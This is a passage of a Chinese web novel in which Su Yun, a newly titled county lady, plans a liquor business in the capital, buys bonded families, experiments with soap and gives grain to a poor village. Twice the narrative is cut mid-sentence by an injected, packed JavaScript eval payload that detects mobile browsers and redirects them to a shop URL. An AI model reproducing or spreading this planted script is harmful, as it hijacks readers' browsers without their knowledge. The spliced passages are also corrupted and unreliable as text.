黎大为道：“自是熟识的最好，知根知底。陆平可以跟着去，还需两个搬运跑腿的，我想要么阿牛和大壮，或者二鹏也是可以的。” 苏云思索片刻，道：“那就阿牛和大壮吧。他们情同兄弟，彼此熟悉，有事都好商量。至于他们走后，蒸馏酒制作，调配大鹏二鹏也行。制冰的可先让余氏她们先支应着，合适的时候，再买两个壮劳力。阿牛和大壮年纪已然不小，俗话说：男大当婚女大当嫁，进京之后，若他们自己有中意的女子，可重金买下，成全他们。注意，前提是双方都愿意。” 黎大为有些感动，没说话，只是点头。 苏云道：“只是你跟他们不一样，等你以后见识多了，格局打开，小门小户人家的女儿，必不能入你的眼。目前事忙，暂时不忙考虑，等弱冠之后再说。” 黎大为有些脸红，也知道苏云是为自己好，本来年龄尚小，并不着急。 苏云又道：“到得京城，先要找好落脚之地，然后去伢行看看，有什么合适的院子，地段不要太热闹，或买或租，你自己决定即可。” “落脚处确定后，就可以先去拜访几个人。首要是南城甜水巷的瞿老夫子，此人有酒仙之命，风评甚佳，看淡世间一切，却嗜酒如命，世间之物，唯有酒水能打动他。你可把卧云醉三样，每样送他几瓶，若能得到他的题字更佳，内容就是三种酒名：卧云醉、舍得液、不羡仙。拿到题字后，可找人快速给我，我用来制作酒瓶，一定要有他的签名和盖章。还有几个，我稍后把相关信息写在纸上给你。” 黎大为道：“这个好说。” 苏云道：“你需考察一下，什么地方可以作为库房。务必方便却不引人注意之处，不用买，只租用；过一段时间，可以更换。” 黎大为道：“这个我再想想，若是把库房放在别人家库房旁边，或许也是可以的。” 苏云道：“我们的利润可观，一旦进京，达官显贵多如牛毛，江湖□□也不在少数，各方势力盘根错节，我虽为县主，背靠侯府，稍有不慎，可能也会被吃干抹净，万事都需小心。或者跟国公府搞好交情，分润一些利益给他们，这样的话，可能会吓跑很多人。有张叔这个事情做梯子，应该不太难。你可能奇怪，为什么不找侯府，一则侯府不够势大，二则是我现在还不想让他们知道。” 黎大为也不多问，道：“想来没什么问题。” 苏云道：“最重要的，自然是作坊。有两个选择：一是将作坊选在郊外，就像现在的柳河庄。这样的话，利于保密，但中间运输比较麻烦，进城出城也有泄漏危险，若让有心人跟上，泄密是早晚的事；其二是将作坊建到城里的酒铺作坊旁边，这样，酒铺作坊的酒味应该能掩盖住我们的酒味。两个选择，你先考虑考虑，怎么取舍比较好。切记一点，如果被人盯上，生意怕是做不长久，还会有性命之忧。” 黎大为心里一震，想想也是，京城权贵众多，若是被他们知道方子，怕是会千方百计都要弄到手，到头来自己只怕死得连渣都剩不下。 苏云又道：“接下来自然就是去找京中的酒铺，选两三家合适的，购买他们的酒作为基酒用。不用忙着买，先确定好酒铺即可。” 黎大为道：“这个容易。” 苏云继续道：“但凡有什么诗会、赏月会、皇子公主宴请，均可主动送些酒水过去，不过赠酒限于卧云醉，也不宜太多，这个尺度你自己掌握即可。总之，你去的前三个月，不用管什么销量利润，只管打出名声即可。” “不过也不能只是造势，还是得有地方可以买。你先考察几家有名的酒铺，或者酒楼，时不时卖一些给他们，吊着他们的胃口，要十瓶的，卖给他们两三瓶即可，要让京城长时间保留这个讨论次酒的热度。” “刚才想到，有一点前面失算了，三种酒，需规定一个完整牌子，就叫名酒轩吧，就说三种酒都是名酒轩出来的。这样更好宣传一点，现在是高端客户，以后还可以扩展到中层市民，甚至底层的市民，到时候看情况随便取几个名号即可。” “前期我们尽力不做零售，都批发给他们，让他们去卖，这样会更安全一些。你记得一定要多培养几个人，以后让他们直接联系酒铺、酒楼、青楼等地方，每个人联系一两家或者一个区域。你则不必事事躬亲，坐等他们的汇报，居中调节发货即可，当然，切记不能出现卷款跑路的事情出现。就算他们被发现，断了中间一两处，也不会对我们有多大影响，你也比较安全。” 黎大为一一记下。 苏云最后说道：“到了京城，必会出现和我们现在预测的不一样的情况，须得随机应变才是。还有几点你需注意，就是你的身份问题，若是遇到你的亲戚，切记不要相认，若需要，不可直接露面，你可找个委婉方式救助，但不宜多，能温饱即可。” “我会给你一个曲谱本，和一本诗集，你看着练习，若有用得上的地方，也可以适当表现一下。” “最后一点，过几天林将军就要回来接张叔回京，你和几个兵卒关系甚是熟络，他们是戍边的勇士，马上功夫应该很厉害，趁着这两天有时间，你让他们带你去买两匹马，让他们教你，以后肯定用得着。正好，我也想学学。” 黎大为应了。 苏云道：“你们还有什么想法没有？没有的话，今天就散了。” 于是第二天，黎大为让两个士兵带着他去马市买了两匹马，然后和苏云，带着陆平一起去郊外练习骑马，黎大为出手大方，加上平时没少得到他们的好处，士兵也教得尽心，三人轮流练习，不到一日，就都学会了。 连续三天，三人都可以自如骑马，不过骑得最好的，却是陆平，最差的，自然是苏云，主要是她的个子小，不敢当众展示轻功，上下马比较困难，不过上马之后，倒是不逊于他们两个。 很快，林涵功来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205759|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临川，见张叔恢复很快，心里十分高兴，对苏云千恩万谢，苏云趁机让黎大为和陆平租了两辆马车，只说是押送两马车货物，一同进京。反正张叔现在伤势还不能骑马，林涵功爽快答应了，并且答应可以在国公府寄存几天。阿牛和何大壮早就来了城里，暂时住在如临号院子，于是一起出发了。 想到提纯酒不能停，于是又去伢行去看看。又是那个小伙计，吴三保老远见到苏云，就屁颠屁颠跑过来，满脸堆笑：“小姐又来了，今日是想看看院子还是看看人？” 苏云笑笑：“小哥好，今日来看看人。”小伙计忙在前面带路，把苏云和王嬷嬷迎进去。 那个女胖掌柜看见苏云来了，也是一脸堆笑，道：“小姐今天是来看人？”见苏云点头，胖老板大乘对着院子里面道：“都快出来，有主家来选人了。”不一会儿，十多个人就站到了院子中间。这时的太阳老高，苏云对胖掌柜道：“掌柜的，太阳太大，还是让他们站到屋檐下吧” 胖掌柜道：“小姐就是心善。”然后对着众人大声喊道：“小姐可怜你们，都站到屋檐下去。” 站好后，苏云走过去选人，胖掌柜已经知道苏云喜欢选一家人的，便推荐了两家，一家是一个老头，很瘦，还有一个儿子也是瘦瘦的，还有一个六七岁的小孩子；另一家则是一个一对夫妇，三十不到的样子，瘦瘦的，明显营养不良，眼睛里有惊恐，也有麻木，估计害怕被单独买走，一家人只能天南海北，天各一方，永不再见。有一个女孩五、六岁，怯生生的模样，还有一个小男孩只有两岁左右，抱在妇人怀里。 苏云见多了这种凄苦画面，也就不像原来那么容易伤感，就问胖掌柜他们一家四口的来历。胖掌柜挤出一脸同情道：“还不是饥荒闹的。这对夫妇倒是孝顺得紧，只是命不好啊，家乡遭灾，一家人外出逃荒，老母亲饿死了，老父亲也病得奄奄一息，没钱啊，叫天天不应，叫地地不灵，想着一家人只怕都要饿死在一起了，还不如把自己卖了，说不定还可以混口饭吃，留下一个是一个，最终老父亲也没有救回来。这个转到我手里，也不知转多少次手了。”说着，胖掌柜还用手绢擦了擦并没有眼泪的眼角。 苏云心里也不好受，就和胖掌柜谈起价格，胖掌柜脸色陡然变得高兴起来，于是一番讨价还价，苏云买下了这一家四口。并吩咐胖掌柜，以后有这种类似的新人，就来通知一下，胖掌柜眉开眼笑的答应了。 凉水院子的士兵走了，还有房间，于是准备把他们安排在一起。 刚要出门，只见夫妇俩拉着小女孩，噗通跪倒在苏云面前，哭得简直惊天动地：“好人啊，谢谢主人买了我们一家。” 苏云皱皱眉，王嬷嬷知道小姐不喜欢别人下跪，马上斥道：“快起来，有什么回家再说，这样哭哭啼啼，成什么样子？” 夫妇俩不敢再哭，赶紧起来，低着头，苏云温言道：“没事了，跟我走就行了。” 回到凉水院子，婆子杨氏见又有新人进来，似乎察觉会有什么变化，这段时间的日子简直太舒心了，可以说，以前都从来没有这么舒心的日子。苏云宽厚大度，只要肯干活，没有二心，从不把他们当奴仆看待，又大方，伙食好，还有银子拿，自己都快忘了全家是奴仆身份了，说是神仙日子也不为过。现在这是怎么了，是有什么另外的安排？ 这对夫妇男子姓秦，名拴住，妻子叫方春花，小姑娘叫云姐，至于小奶娃，小名狗蛋；果然，苏云把安排给他们说了，当然由不得他们有异议。余氏一家只好在院子里面带了这对夫妇两天，等他们熟悉了制冰后，就由他们接替了制冰工作，举家搬迁到了柳河庄。 原以为柳河庄是什么穷荒之地，不料院子还可以，院子里剩下的人也好相处，关键是制作蒸馏酒，赚钱比制冰还多，一下子全家又看到了希望。 至于凉水院子，现在的娟儿已经很是熟练，俨然已经是一把管账好手，院子就由她说了算。至于莺儿，反正白天都不在家，只是吃晚饭睡觉，这小丫头自从跟了班主学习，琴艺提高很快，唱歌貌似也有点提高了。只是凉水院子里面本来制冰人手就少，忙起来秦氏夫妇顾不上做饭，娟儿也不太会做，云姐太小，苏云见阿牛娘身体还硬朗，在柳河庄也没什么事，就让她到城里来帮他们做饭了。 30. 第 30 章 30、槐树村 许久没有回到柳河庄了，苏云感觉是重新回家一样。林二伯不知何时已经走了，黎大为、阿牛和何大壮进京，阿牛妈也去做饭了，院子一下空了不少，还好这一下子又来了大鹏一家五口。 安顿好大鹏一家之后，苏云看着李三娘教会大鹏夫妇和二鹏学会了制作蒸馏酒，就由着他们自己操作，自己到绣房去看看。 一个月已经过去，一大半的绣女结算了工钱，重新回到家里，走时哭哭啼啼，万般不舍，也无可奈何，好在还是学到一些，至少自己穿的衣服，加一些刺绣，还是没有问题的；再加上还可以简单裁剪衣裳，也算一门功夫，最为重要的，为家里也赚了三百文。留在这里的，只剩下七、八个了。张家二妞，三妞，杨家小丫和李家草儿都在，何小花赫然成了她们中的佼佼者。 杨婶子道：“龙女，现在留下的，水平都在伯仲之间，一个月后还要再筛一遍，着实有些为难。” 苏云道：“先不管这些，让他们继续学，到时再看，如果水平差不多，那就不再筛选了。就她们，都留下。不过现在别让她们知道，仍说到时候要筛选，给她们一点危机感。” 杨婶子笑道：“正是，不能让她们懈怠。” 苏云道：“按照现有水平，放到绣庄，能算什么级别？” 杨婶子想了想道：“都还只是初级绣娘，一般刺绣用品是没有问题的，何小花勉强可以达到中级了。” 苏云道：“不着急，再练习一个月，到时候再看，如果水平拿得出手，就可着手接订单。后面需要什么器材，你给王嬷嬷说。” 杨婶子道：“那可好了，家里都指着这些姑娘挣钱呢。” 苏云道：“这就是个问题。若是以后挣钱，全数交给家里，父母良善，以后留一些做嫁妆还好说。若是父母只喜儿子，只怕到时候分文捞不到，却如何是好？” 杨婶子是女子，家中也有女儿，也知道好多家里都是这种重男轻女习惯，什么都紧着儿子，对女儿不闻不问。 苏云想了想道：“你看这样可好？以后若是接单子，只给她们利润的三分之二，剩下的我们帮她留下，出嫁之时悄悄给她？” 杨婶子道：“这样固然好，只是若是泄漏出去，只怕好多家里要来讨要，闹成一团，反而不美。” 苏云道：“若是如此，不若把事情挑到明处，让他们当家的来签订协议，留下三分之一，我们互助会暂管，待她们出嫁，必须作为嫁妆。若家里不答应，则不让她当绣女，家里一文都捞不着。这事得庄头出面去说，现在还早。” 杨婶子道：“把事情摆在明面上，这样最好。”然后郑重向苏云施了一礼，音带哽咽：“幸得龙女垂怜，我代柳河庄女子感谢龙女。” 苏云赶紧还礼道：“婶子言重了，世间对女子多有不公，同为女子，尽己之所能，能帮到姐妹们一点是一点。只是这些都暂时不要告知她们，等到时候再说。” 出得绣房，只见厨娘和杨氏在忙活，上去聊了几句，并把香料磨粉的事情交给了杨氏。据厨娘说，最近好多庄户来拿香料包，应是不少人都去了城里卖卤肉。卖卤肉、卖冰棍，这些虽是小生意，却也让庄户们赚了不少钱，想必今年的日子不会太难过了。 只见宝儿在林二伯门口站马步，苏云奇怪，问他：“宝儿，你这是在做什么？”宝儿继续蹲着，童声童气道：“林爷爷走的时候教我打坐和站马步，要我每天都必须做一个时辰，若是听话，林爷爷会带很多好吃的好玩的给我，若是不做，回来就要打我屁股。” 苏云一笑：“宝儿乖，最听林爷爷的话，那你继续，林爷爷回来，给你带好吃的、好玩的，只怕你的屋子都堆不下呢。” 宝儿眼中顿时放光。 回到内院，苏云开始打坐，运转两个周天后，又拿起鞭子练习鞭法，起手式早已熟练，第二式“闪电鞭”，要求的是速度，准头和力量，苏云也练得了大半，练到快速的时候，旁边的王嬷嬷也有点眼花。 下午，苏云带着王嬷嬷去山上转了转，只见几座山上，有的种满果树，有的种的花，虽都还没有开花结果，山上也是郁郁葱葱，明年应该就有收成了。石头山上却是长满了葡萄，也不知哪里搞到的秧苗，有些尚小，有一些则已经挂果，快要成熟了。 苏云走上山腰，山腰上有间茅草屋，只见一个庄户拿着一根长杆，在里面打着盹。王嬷嬷上前叫醒他。 庄户赶紧起身道：“龙女来了？” 苏云道：“你拿着长杆做什么？” 庄户道：“龙女不知，有些葡萄成熟了，那些雀鸟会飞过来吃，若不赶走，这一年怕是要白干了。” 苏云道：“原来如此，现在可有成熟的葡萄？” 庄户道：“还需几日即可采摘，龙女稍等，我去摘几颗尝尝。”说完去葡萄架找了好一阵，终于摘了一串紫色的葡萄。 王嬷嬷用手绢擦了擦，剥皮递给苏云，苏云放在嘴里，确实肉多汁甜，于是道：“今年能收多少？” 庄户道：“种植的时候葡萄苗不一样，今年只能收百十来斤的样子。如果明年顺利，则不下三千斤。” 苏云道：“若是一年三千斤，你准备拿到哪里去卖？” 庄户担忧道：“这个确实为难，都在一起成熟，堆在一起，来不及卖出去，岂不是坏了？” 苏云道：“今年的全部给我，我按市价全收；明年不用着急，等你采摘后，就都给我吧，我按市价八成收购。” 庄户大喜，连连作揖感谢。 再往后走，就是小雀山，只有这一座山还空着，苏云想起托郎中打听的药农还没有消息，寻思下次进城得找郎中问问。 下午无事，苏云和王嬷嬷钻到厨房，关上门，找到猪油罐，让王嬷嬷将灶膛的草木灰用棍子扒拉出来，准备好一块纱布，两个盆子，还准备了一排碗。没错，她要准备试试肥皂的做法。 王嬷嬷早已习惯，知道这是县主又要折腾新玩意儿，心里也着实好奇，只管按照小姐吩咐做事，静待奇迹出现。 先让王嬷嬷点火，自己把猪油倒进锅里，本来天气热，罐子里面的猪油已经半液化了，倒进锅里，不一会儿就完全化开，又把它倒进罐子里面。然后将草木灰装进盆里，不断搅拌，让王嬷嬷拉着纱布，下面放一个盆，将草灰水慢慢倒在纱布上进行过滤。弄完之后，看水还比较浑浊，就洗干净纱布，再过滤一次，反复过滤，直到草木灰水变得清澈为止。 做法苏云是知道的，但是最后的比例不是很清楚，只知道水多油少才行，于是从1：8开始尝试，把一两油，加上八两草木灰水混合进行搅拌，加了盐，形成的是浆糊状，一直不能成型，看来比例不对。 重新再试，没想到尝试了两三次，居然就成了。苏云甚是高兴，就做了四五个小碗大小的肥皂，凝固后，取下来把它放置在通风阴凉的地方，就不再管了。王嬷嬷也搞不懂这是什么，有什么用途，既然小姐没说，也就没怎么在意。 次日，想到葡萄不久就要成熟，得抓紧定制一些罐子，想想杨家村不远，干脆自己走一趟，让庄头找来上次的庄客带路，和王嬷嬷一起出发去杨家村。 一路上，自己总想试试轻功，谁料王嬷嬷走不快，又有庄户跟着，没奈何，只得陪着慢慢走，到得杨家村，已经是两个时辰之后了。王嬷嬷累得上气不接下气，庄户也有些冒汗，只有苏云气定神闲，像没事人一样。 窑场规模不小，挖土的、和泥的，拉坯的，烧窑的，一片忙碌景象。窑主是一个胖胖中年人，一身短打，见有客人，忙迎了出来：“客官可是要定制陶器？” 苏云掏出了一张图纸，原来是一个大坛子，约有二十斤容量，另有一个小瓷瓶，倒有几分以前做的卧云醉的模样，只是上面写着“玉琥珀”三个字。管事心想怕不是要仿照别人的造型？不过他也不管这些，这个时代没有专利一说，客人要什么，照做就行。 窑主何等聪明，立马知道这是要用来装葡萄酒的：“客官可是要制作葡萄酒瓶？”苏云道：“正是，大坛做五个，陶器即可，瓷瓶一百个。还有可能要在你这里寄放几日，到时我让人来取。另外，我还要要一点粘土，不知可否？”目前只是尝试阶段，暂时不用做那么多。 窑主道：“没有问题，保质保量，不会有差错。”谈好价格，给了收据，付款后拿着一袋粘土离开。 苏云问庄户道：“我们是顺着柳河上游走来的，你可知槐树村在哪里？”庄户指了指，道：“不远，顺着柳河往北也不到十里路地。” 苏云道：“那我们过去看看。” 庄户点头，带着二人去了槐树村，走不久，就见前面一个庄子，村口一颗大槐树， “兔目青槐已着花，翠阴初合玉堂家。 行人欲折休轻触，恐有栖枝是暮鸦。” 下面一块石碑，上写槐树村三字。村口景色宜人，只是放眼望去，只见一片农田，却显得不是茂密，有些地方还是光秃秃的石头，三面都是山。小路边是错落的房子，大约三十来户人家，其中多是泥土房，还有些是草棚，看起来比柳河庄还不如，忍不住一阵叹息。 有三四个孩子在村口河滩玩，衣衫褴褛，旁边还放在菜篮、背筐，里面有些野菜，像是日子也挺艰难。 苏云道：“小弟弟，请问你们村长在哪里？” 一个五六岁的小男孩道：“好看姐姐是谁，找村长爷爷有事吗？” 苏云摸了摸小孩的头，温言道：“我找村长爷爷有很重要的事，你能带我去吗？” 小男孩道：“好的，好看姐姐，我这就带你去。”又对小伙伴道：“柱子，我带姐姐去村长家，你们玩吧。”说罢，捡起地上的一个竹篮，道：“好看姐姐，跟我走吧。” 苏云笑笑，跟在小孩子后面，到了一户人家，这家人倒是砖瓦房，应是全村最好的建筑了，只是已经破旧不堪。院子们半掩着，小男孩扒在门口，朝里喊：“村长爷爷，村长爷爷，有个好看姐姐找你。” 一个五十左右的人边走边问：“小山子，谁来找我了。”小山子把门打开，到：“这个好看姐姐找你，说有事。” 村长道：“请问是哪位找老朽？”看到苏云衣着虽不华丽，但绝非一般人家女儿，道：“小姑娘可是有事？” 苏云道：“小山子，你去玩吧。”看了一眼王嬷嬷。王嬷嬷掏出两枚铜钱，递给小山子：“乖，拿去买糖吃。”小山子大喜：“谢谢婶子。”转身跑了。 王嬷嬷上前道：“村长好，这位是刚被皇上亲封的临川县主。” 村长一听，看了一眼苏云，噗通跪倒：“草民见过县主。” 苏云虚扶一把，道：“村长不必多礼，快起来说话。” 村长起来，把苏云往屋里让，其实里面也很破旧，不过苏云并没有表现出半点不舒服，倒是王嬷嬷皱了两下眉。 进得屋里坐下，一个二十五六的妇人出来倒茶。三人走了大半天路，正好可以歇歇脚。 村长道：“前日县衙来人告知，我们村要划五十亩地给县主做封地。具体要哪一块，全凭县主做主。县主来此，可是来看封地的？” 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205760|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云道：“本是有事经过，既然来了，也不妨看看。” 村长介绍道：“槐树村，全村有五十二户人家，不到六百亩土地，你应该也看到了，很少良田，很多都是沙地，一年收不了多少粮食，村民半年都得野菜充饥。” 苏云道：“民生不易啊。这样吧，劳烦村长带路，我在周围看看可好？” 村长道：“好说。”对儿媳妇吩咐了两句，就带着苏云出门，沿着小路，在村子里转悠。 村子很小，一会儿就转完，苏云看中了村子后面一块平地，看起来土质不佳，庄稼矮小稀疏。不远处还有一条小溪流过，应该是流到柳河里的，面积应该也是五六十亩，正合适。 苏云对小溪很是喜欢，便道：“就这块地吧。”村长有些吃惊：“这块是我们村里最差的地，你真的确定要吗？” 苏云继续装高大上：“封地不征赋税，若是要良田，是与朝廷争利，本小姐舔为县主，蒙皇上厚爱，有一块地就可以了。” 村长摇摇头，道：“既然县主看中，可与县令大人道明，勘察之后，就可以划到县主名下了。” 苏云指了指旁边的山，道：“旁边的这些是什么山，是有主的吗？” 村长道：“这是关凉山，那边是猪鼻山，这些都是和村子那块地一样，没有主。” 这里的山貌似比柳河庄旁边的好很多。苏云又道：“此处可否建房？” 村长道：“若是房屋不大，村后还有宅居地，不必占用封地建房，若是比较大，在封地里建房应是可以的。” 忽听一孩子的哭声，众人回头一看，只见路边坐着一个老妇人，低着头，一个小女孩哭着摇奶奶。村长快步走过去，一边道：“花儿，你奶奶怎么了？” 女童道：“奶奶走着就突然摇晃，就坐下来，不动了。” 妇人约莫五十来岁，头发蓬松，衣衫褴褛，脸上皱纹密布，脸色青黄，苏云一看就明白了，明显是饿的。村长自然也看出来了，道：“花儿，赶紧去爷爷家，让你柳花婶子拿一个馍来，你奶奶是饿着了。” 花儿赶紧朝村长家跑去，一会儿，只见那个村长儿媳妇牵着花儿，快步跑来，手里拿着两个馍。 老妇人确实饿慌了，看到馍，拿起就吃，噎了好几下也顾不得。好一阵，总算缓过来了，慢慢站起来，向村长和柳花婶道谢。 这时，小山子从村边走来，看到老奶奶有些精神不济，就要上去扶，苏云叫他过来：“小山子，你见过这个东西吗？”说着，让他看脖子上的项链。 小山子仔细看了看道：“有点像河滩上的花石子。” 苏云道：“河滩上多吗？” 小山子道：“还是很多的，我们有时拿来玩，花儿这些女孩子都喜欢。”苏云道：“那你找小伙伴们去捡这个花石子，要大的，越大的越好，太小的不要。然后交给村长爷爷，过几天我就来收，会给钱的哦。” 小山子道：“花石子真的可以卖钱？好看姐姐，你不会骗我吧？” 苏云挺喜欢小山子，道：“不骗你。”小山子高兴地道：“好，我这就找栓子他们去。”说着，飞快不见了人影。 村长道：“花石子真能卖钱？”苏云道：“自然可以，这样，他们找到花石子，每人的装在一个包里，就劳烦村长先收着，过几日，我会找人来收。要看花石子的大小品质来给钱。” 村长大喜：“县主这是给村里找了一条活路啊。” 苏云笑笑，暗道这算什么活路，花石子总是有限的，找完了就不会再有。真正的活路，在后面。 苏云道：“村民日子着实艰辛，人总不能日日饿着。过几日来收花石子，我让人给乡亲们送点粮食过来。” 村长不可置信看着苏云，许久没有作声，忽地跪倒：“多谢县主，我代村民谢谢县主了。” 苏云道：“村长快快请起，以后还有诸多地方要乡亲们帮衬才是。” 王嬷嬷看看天色，道：“小姐，我们该回柳河庄了。” 苏云也怕村长留饭，点点头，正要走。忽听村长道：“你们是要去柳河庄？”苏云点头。村长道：“若是要去柳河庄，走大路需三十多里路，倒是平坦好走。若是沿着猪鼻山这条小路，只需不到十五里即可到达。猪鼻山后面，其实就是小雀山。” 原来这样，苏云道：“那能不能请村长找一个向导？” 村长道：“其实很好走的，山不大，也没什么猛兽。也是，第一次，有人带路更快一些。”转头对儿媳妇到：“柳花，你去把你男人找来吧。” 柳花去了，过了不久，带回一个满脸憨厚的壮汉，到：“爹，找俺啥事？” 村长道：“县主要去柳河庄，你这就带他们从小路回去。”汉子道：“好的，爹。”对三人道：“跟俺走吧。”说着就在前面带路。苏云向村长告辞后，也跟在了后面。 果然，这条路比较荒，很窄，有些地方杂草丛生，不太像路，时不时还有野兔、野鸡窜出。不过都在山脚，其实比较平，苏云发现，在猪鼻山和小雀山之间，还有一条不明显的小路通向另一座山。总之，这条路只要稍加拓宽，应该可以过马车。 不过一个时辰多一些，就到了小雀山。 苏云道：“大哥，剩下的路我们自己可以走，谢谢你了。” 王嬷嬷掏出十枚铜钱，递给壮汉，壮汉连连摆手推辞，王嬷嬷硬塞给了他，只得道谢，返回了。 回到院子，王嬷嬷给了庄客三十文，庄客心满意足地回家。王嬷嬷早就累得瘫下，午饭都不吃。苏云吃了午饭，才回去打坐。 31. 第 31 章 31、深夜访客 次日，苏云带着王嬷嬷坐上牛车，也是先到如临院子，把大鹏二鹏他们做好的提纯酒放好，再到凉水院子去。 冰棍的生意仍然很是火爆，秦氏夫妇在作坊里忙碌，一脸满足。院子里，云姐带着弟弟玩耍，阿牛娘在厨房洗碗，相处倒也融洽。 见苏云进院子，娟儿高兴的跑过来：“小姐，你来了。”苏云笑笑：“怎么样，忙不忙？” 娟儿道：“都习惯了，也就没什么了。对了，昨晚那个伢行的伙计吴三保来说，他们又进了新人，请你去看看。” 苏云坐下来喝了茶，想着如临院子需要有人看管，就赶着去了伢行。这一次带走了两家人，一家人是一个四十左右的张婆子，一个守寡的媳妇慧芳，还有一个是十四五岁的妹子草姐；另一家人则都是都是男子，一个三十岁左右的大哥朱大牛，腿有点瘸，另外还有两个弟弟，一个不到二十的朱二牛，还有一个十二三岁的朱三牛，都属于长相憨厚普通的大众脸。 苏云将张婆子一家带到凉水院，交给了阿牛娘，这下可以减轻一些秦氏夫妇的担子；另外三头牛，则安排到了如临院子，交代他们负责灌装酒，留下了生活费。目前也不用他们做什么，主要是在为后面的规划储备劳动力。 安排妥当，苏云带着王嬷嬷来到医馆，又问起药农的事。郎中道：“确有一个老药农，姓谭，人称谭老爹，经常上山采草药，上次说过家在百里外的谭家沟，送草药也不定时，小姐若着急，可以自去寻他。” 苏云默默记住，又买了一点礼物，到衙门去寻朱县令。 朱县令见到她来，很是高兴道：“正欲去寻县主，落实封地的事情，不想县主自己来了，可谓有缘。” 苏云道：“劳县令大人挂心，今日来，主要想麻烦县令大人两件事。一是封地的事，昨日正好在附近有事，就过去看了。已经跟村长交代好，县令大人有空可派人去丈量，然后就能确认了。顺便还想把旁边的几座山买下来。” 朱县令道：“我这两日即可派主簿和公差去办此事。至于几座山，本县倒不是很清楚，可直接找主簿谈。” 苏云道：“还有一事，想请县令大人帮忙。”朱县令很是爽快：“县主请讲。” 苏云道：“柳河庄后面山上种了不少葡萄，眼看就要下果，小女子有些嘴馋，想自己酿一点葡萄酒喝，只是这酒曲不会做，本想去酒铺讨要一点，奈何酒曲是人家的命根子，轻易怎可给人？我也只是做点葡萄酒，并不敢用来做白酒，坏了人家的生意。所以斗胆请朱县令帮忙讨要，两斤即可。该多少费用，都由我出。” 朱县令道：“这有何难？我稍后就去。只是费用倒是不必了。” 苏云道：“万万不可如此，若不要费用，那是万万不敢要的。” 朱县令没想到苏云竟然不占一点便宜，也就顺水推舟：“若是这样，不若本县就做中人，到时你和酒铺掌柜去谈价格。” 苏云道：“如此最好。只要掌柜愿意卖就行，价格好商量。我回院子恭候。” 回到凉水院，见张婆子正在厨房帮阿牛娘，慧芳和草姐在制冰作坊已经能上手了。 苏云见事事有条理，不用自己操心，交代王嬷嬷几句，自己回屋子打坐去了。 出来的时候，王嬷嬷说酒铺张掌柜来过了，先是极不情愿拿来了两斤酒曲，后来听王嬷嬷说如果葡萄酒成功，可以给他们售卖，这才高兴起来，给了王嬷嬷一个友情价。 吃过午饭，看看时辰尚早，想起槐树村的事，便吩咐王嬷嬷去找主簿，并亲自带着阿牛娘先去木匠作坊定做了几个肥皂模板，然后去粮铺买了两车粮食，等主簿和衙役到了，一起坐着牛车去了槐树村。 到了槐树村，牛车进不去，苏云让车夫等着，和主簿衙役先进村找村长。村长听说县主和主簿驾临，急忙出来迎接。苏云让他通知村民，每家派人到村口领粮食，每家二十斤，由王嬷嬷负责。 村长兴奋得一个劲道谢，然后安排村民相互通知，派出自己儿子监督，怕有人重复领粮，安排妥当，才和主簿衙役一起去丈量土地，顺便买下了旁边的三座小山。 事情办妥，回到村长家里，苏云想起花石子的事，就让村长将花石子拿出来。村长只拿出了两袋，一袋比较大，一袋比较小。 村长有些不好意思，道：“许是村民无知，不敢相信花石子能卖钱，并没有多少人送花石子来。这袋小的，也是我家媳妇闲时去捡了一些，这袋大的，是小山子拿过来的。” 苏云道：“无妨，先看看。” 先打开小袋的，只见里面有大有小，总共也就三十来颗，苏云便按照大小品质定了价格；打开小山子的那袋，里面的花石子都比较大，而且不乏品相很好的花石子。最后，村长媳妇的三十文，小三子的竟有一百五十文。 门外一直很热闹，村民们扛着粮食有说有笑从村长家走过，有的还在门口和村长说上两句。正巧小山子跟着父母路过，被村长叫了进来。 小山子道：“好看姐姐，你又来了？”苏云也笑着和他打招呼。小山子的父母老实木讷，不认识苏云，但见旁边坐着穿着官服的主簿和衙役，紧张得说不出话来。 苏云道：“小山子，你过来。” 小山子上前：“好看姐姐，你有事吗？” 苏云拿起花石子袋子，到：“这个是你的？” 小山子点点头：“嗯，我昨天跟小伙伴们说了，让他们跟我去捡花石子，他们不相信我，还说我胡说，哪有花石子可以换钱的？就没人跟我去捡。” 苏云道：“那你为什么捡了这么许多？” 小山子道：“我相信好看姐姐啊。” 村长道：“还是你小娃有见识，这一袋就是一百五十文呢。” 小山子父母惊呆了，土里刨食的庄稼人，能见到一百五十文，那也是很难得的。小山子却道：“一百五十文是多少？很多吗？” 苏云道：“当然，你的这个袋子可都装不下呢！” 这时，王嬷嬷分发完粮食，和村长儿子一起进来，儿子肩上也扛了一个粮食麻袋。 苏云道：“粮食分发完了？” 王嬷嬷道：“正是，刚分完。好在有小哥帮忙，不然怕是要搞混。” 苏云道：“这是花石子，你跟他们结算吧，小袋的三十文，大袋的一百五十文。” 王嬷嬷掏出铜板，放在桌上，堆得老高。 苏云数出一百五十文，道：“小山子，这是你的钱，拿去吧。” 小山子看着那么大一堆，看看父母，又看看村长。 村长笑道：“就是你家的，拿去吧。” 小山子这才高兴地上前，伸手去拿铜钱，没想到人太小，根本拿不完，村长朝他父母笑道：“你们愣着干嘛，还不赶紧拿去？” 小山子父母不敢置信的看着村长，忽的上前，抓起铜钱，笑得眼睛眉毛都拧在了一起。 